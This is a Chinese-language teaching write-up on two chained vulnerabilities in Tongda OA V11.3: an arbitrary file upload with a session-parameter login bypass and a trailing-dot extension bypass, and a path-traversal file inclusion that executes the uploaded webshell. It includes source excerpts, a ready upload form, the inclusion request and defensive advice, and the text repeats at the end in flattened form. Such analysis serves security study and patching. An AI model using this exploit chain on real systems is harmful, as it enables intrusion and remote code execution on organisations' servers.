通达OA文件上传及文件包含漏洞分析
字数 1168 2025-08-25 22:58:20

通达OA文件上传及文件包含漏洞分析教学文档

一、漏洞概述

本教学文档详细分析通达OA系统(V11.3版本)中存在的两个安全漏洞:

  1. 任意文件上传漏洞(全版本通杀)
  2. 文件包含漏洞(仅V11.3版本存在)

二、环境准备

1. 所需软件

  • 通达OA V11.3下载地址:https://www.tongda2000.com/download/2019.php
  • Zend 5.4解密工具:https://www.cr173.com/soft/418289.html

2. 漏洞文件位置

  • 文件上传漏洞:ispirit/im/upload.php
  • 文件包含漏洞:ispirit/interface/gateway.php

三、任意文件上传漏洞分析

1. 漏洞原理

通过绕过登录验证和文件上传限制,实现任意文件上传。

2. 关键代码分析

登录绕过机制

$P = $_POST["P"];
if (isset($P) || ($P != "")) {
    ob_start();
    include_once "inc/session.php";
    session_id($P);
    session_start();
    session_write_close();
}
else {
    include_once "./auth.php";
}
  • 通过POST参数P设置session_id,绕过登录验证
  • 如果直接访问URL会提示"用户未登录"
  • 传入P参数后,PHPSESSID会被设置为P参数值

上传条件检查

intval($DEST_UID) // 不能为空或0
1 <= count($_FILES) // 必须有文件上传

文件后缀检查

位于inc/utility_file.php中的is_uploadable函数:

if (!is_uploadable($ATTACH_NAME)) {
    $ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
}
  • 检查文件后缀是否为禁止上传的类型
  • 绕过方式:在文件名最后加.(如shell.php.

文件保存路径

  • 通过add_attach函数(位于inc/utility_file.php)生成保存路径
  • 返回结果包含文件路径和自定义文件名

3. 漏洞利用步骤

  1. 构造HTML表单上传文件
  2. POST请求中设置P参数绕过登录
  3. 设置DEST_UID为非零值
  4. 上传文件(可使用.php.绕过后缀检查)

四、文件包含漏洞分析

1. 漏洞原理

通过构造特殊URL路径,利用文件包含功能执行任意PHP代码。

2. 漏洞利用方式

http://localhost:8081/ispirit/interface/gateway.php?json={"url":"qqqispirit/../../attach/im/2003/376154918.x.php"}
  • 通过json参数中的url值进行路径穿越
  • 包含之前上传的恶意PHP文件

3. 关键点

  • 仅V11.3版本存在此漏洞
  • 需要结合文件上传漏洞使用(先上传恶意文件,再通过文件包含执行)

五、漏洞复现步骤

1. 文件上传

  1. 构造HTML上传表单:
<form action="http://target/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
    <input type="hidden" name="P" value="任意值">
    <input type="hidden" name="DEST_UID" value="1">
    <input type="file" name="FILE">
    <input type="submit" value="Upload">
</form>
  1. 上传webshell文件(如shell.php.

2. 文件包含

  1. 获取上传文件的路径(通常在attach/im/目录下)
  2. 构造包含请求:
GET /ispirit/interface/gateway.php?json={"url":"qqqispirit/../../attach/im/[上传路径]/[文件名]"}

六、防御措施

  1. 文件上传漏洞防御:

    • 严格验证用户会话
    • 实现更严格的文件后缀检查
    • 限制上传目录的执行权限
  2. 文件包含漏洞防御:

    • 对包含路径进行严格过滤
    • 禁止路径穿越符号(../)
    • 更新到最新版本

七、总结

这两个漏洞组合利用可以导致远程代码执行:

  1. 首先利用文件上传漏洞上传恶意文件
  2. 然后通过文件包含漏洞执行上传的恶意文件
  3. 漏洞影响严重,需及时修复

注:本教学文档仅用于安全研究学习,请勿用于非法用途。

通达OA文件上传及文件包含漏洞分析教学文档 一、漏洞概述 本教学文档详细分析通达OA系统(V11.3版本)中存在的两个安全漏洞: 任意文件上传漏洞(全版本通杀) 文件包含漏洞(仅V11.3版本存在) 二、环境准备 1. 所需软件 通达OA V11.3下载地址:https://www.tongda2000.com/download/2019.php Zend 5.4解密工具:https://www.cr173.com/soft/418289.html 2. 漏洞文件位置 文件上传漏洞: ispirit/im/upload.php 文件包含漏洞: ispirit/interface/gateway.php 三、任意文件上传漏洞分析 1. 漏洞原理 通过绕过登录验证和文件上传限制,实现任意文件上传。 2. 关键代码分析 登录绕过机制 通过POST参数 P 设置session_ id,绕过登录验证 如果直接访问URL会提示"用户未登录" 传入 P 参数后,PHPSESSID会被设置为 P 参数值 上传条件检查 文件后缀检查 位于 inc/utility_file.php 中的 is_uploadable 函数: 检查文件后缀是否为禁止上传的类型 绕过方式:在文件名最后加 . (如 shell.php. ) 文件保存路径 通过 add_attach 函数(位于 inc/utility_file.php )生成保存路径 返回结果包含文件路径和自定义文件名 3. 漏洞利用步骤 构造HTML表单上传文件 POST请求中设置 P 参数绕过登录 设置 DEST_UID 为非零值 上传文件(可使用 .php. 绕过后缀检查) 四、文件包含漏洞分析 1. 漏洞原理 通过构造特殊URL路径,利用文件包含功能执行任意PHP代码。 2. 漏洞利用方式 通过 json 参数中的 url 值进行路径穿越 包含之前上传的恶意PHP文件 3. 关键点 仅V11.3版本存在此漏洞 需要结合文件上传漏洞使用(先上传恶意文件,再通过文件包含执行) 五、漏洞复现步骤 1. 文件上传 构造HTML上传表单: 上传webshell文件(如 shell.php. ) 2. 文件包含 获取上传文件的路径(通常在 attach/im/ 目录下) 构造包含请求: 六、防御措施 文件上传漏洞防御: 严格验证用户会话 实现更严格的文件后缀检查 限制上传目录的执行权限 文件包含漏洞防御: 对包含路径进行严格过滤 禁止路径穿越符号(../) 更新到最新版本 七、总结 这两个漏洞组合利用可以导致远程代码执行: 首先利用文件上传漏洞上传恶意文件 然后通过文件包含漏洞执行上传的恶意文件 漏洞影响严重,需及时修复 注:本教学文档仅用于安全研究学习,请勿用于非法用途。